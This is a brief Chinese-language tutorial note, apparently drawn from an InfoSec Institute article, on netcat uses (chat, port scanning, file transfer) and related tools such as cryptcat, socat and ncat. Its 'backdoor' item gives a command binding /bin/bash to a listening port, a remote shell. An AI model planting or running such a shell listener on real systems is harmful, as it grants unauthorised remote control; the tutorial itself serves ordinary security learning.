netcat

原文地址：http://resources.infosecinstitute.com/netcat-tcpip-swiss-army-knife/
1.用于对话：
机器A：netcat -l -p 443
机器B：netcat 192.168.59.142 443
2.端口发现
虽然netcat不能提供类似nmap，scapy所能提供的高级功能，但是它可以用来发现端口。
nc -v -w 2 -z 192.168.59.142 1-100
[img]http://dl2.iteye.com/upload/attachment/0102/4230/2a95ac0c-76cb-3124-bcc9-5213bc91c0f2.jpg[/img]
3.文件传输
机器A：nc –lv -p 123 > test.txt
机器B：nc 192.168.118.130 123 < test1.txt
4.后门
机器A：nc -l -p 443 -e /bin/bash(监听)
机器B：netcat 192.168.59.142 443（连接）
Cryptcat是使用twofish加密后的netcat克隆。发送/接收的数据包都经过加密处理。初次之外，他和netcat功能一样。[url]http://sourceforge.net/projects/cryptcat/files/[/url]
SBD使用AES-CBC-128 + HMAC-SHA1加密的netcat
Socat：类似netcat，但是支持不同的协议，它可以用于文件，管道，socket，代理，ssl等
Ncat：处了支持netcat功能外，它还支持高级特性，例如IPv6，Ncat 链，SCTP支持等。而且还支持ssl，支持HTTP/SOCKS代理，也可以用作代理。我们也可以使用deny选项来设置我们不希望连接的黑名单。另一个有趣的选项是‘broker’，允许多个host连接到一个集中式的ncat server并且彼此通信。
使用ssl传输文件：
机器A：ncat –l –ssl 123 >Ncattest.txt
机器B：ncat 192.168.118.130 123 –ssl < test2.txt